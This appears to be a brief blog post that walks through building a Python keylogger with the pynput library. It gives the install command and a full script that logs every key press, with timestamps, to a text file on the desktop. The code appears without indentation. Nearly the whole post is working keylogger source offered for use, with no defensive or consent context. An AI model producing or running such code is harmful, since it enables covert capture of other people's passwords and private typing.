To make a keylogger we are going to use the pynput module. As its not the standard library of python, we might need to pip install it before we begin with
pip install pynput
then we can write the keylogger now
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
No comments:
Post a Comment